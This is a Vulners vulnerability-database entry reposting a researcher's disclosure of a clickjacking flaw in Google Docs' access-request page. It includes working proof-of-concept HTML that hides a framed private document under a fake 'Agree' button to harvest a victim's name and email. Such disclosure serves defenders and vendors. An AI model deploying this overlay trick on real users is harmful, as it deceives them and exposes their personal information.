Vulners
Lucene search
Google Docs Information Disclosure
`I reported this problem to Google in June but I did not get the usual reply
saying they were working on it, so I guess it isn't serious enough to be
fixed.
The problem is the page for requesting access to a private document. It
does not have any protection against being framed, so you can make a
private document, trick someone into clicking the button to request access
and get an email from Google Docs with their full name and email address.
PoC: http://buildism.net/files/GoogleDocsClickjacking2.html
<html>
<head>
<style type="text/css">
body {
margin: 0;
padding: 0;
}
iframe {
height: 426px;
width: 910px;
position: absolute;
left: 0;
bottom: 0;
z-index: 2; /* place the iframe on top of the button, so mouse clicks will go to it */
opacity: 0.5; /* this would be 0.0 in an actual exploit */
filter: alpha(opacity=0.5);
}
#bottom_bar {
width: 100%;
height: 100px;
position: absolute;
bottom: 0;
background-color: #ddd;
z-index: 1;
}
#button {
width: 100px;
height: 25px;
background-color: green;
color: white;
border: 1px solid black;
text-align: center;
line-height: 25px;
position: absolute;
left: 130px;
top: 65px;
}
#text {
width: 400px;
height: 50px;
position: absolute;
left: 130px;
top: 20px;
}
</style>
</head>
<body>
<p>This only works if you are logged in to Google. In an actual exploit, the Google Docs frame would be completely transparent. Do not click the button unless you like sending your personal information to strangers on the internet.</p>
<iframe src="https://docs.google.com/document/d/155uZlvg-uzF-Cti1QKrM7aSHGcObupWfRpC7lwre-as/edit"></iframe>
<div id="bottom_bar">
<div id="text">
You must agree to our <a href="#">terms of service</a> to use our website.
</div>
<div id="button">
Agree
</div>
</div>
</body>
</html>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Aug 2013 00:00Current
7.4High risk
Vulners AI Score7.4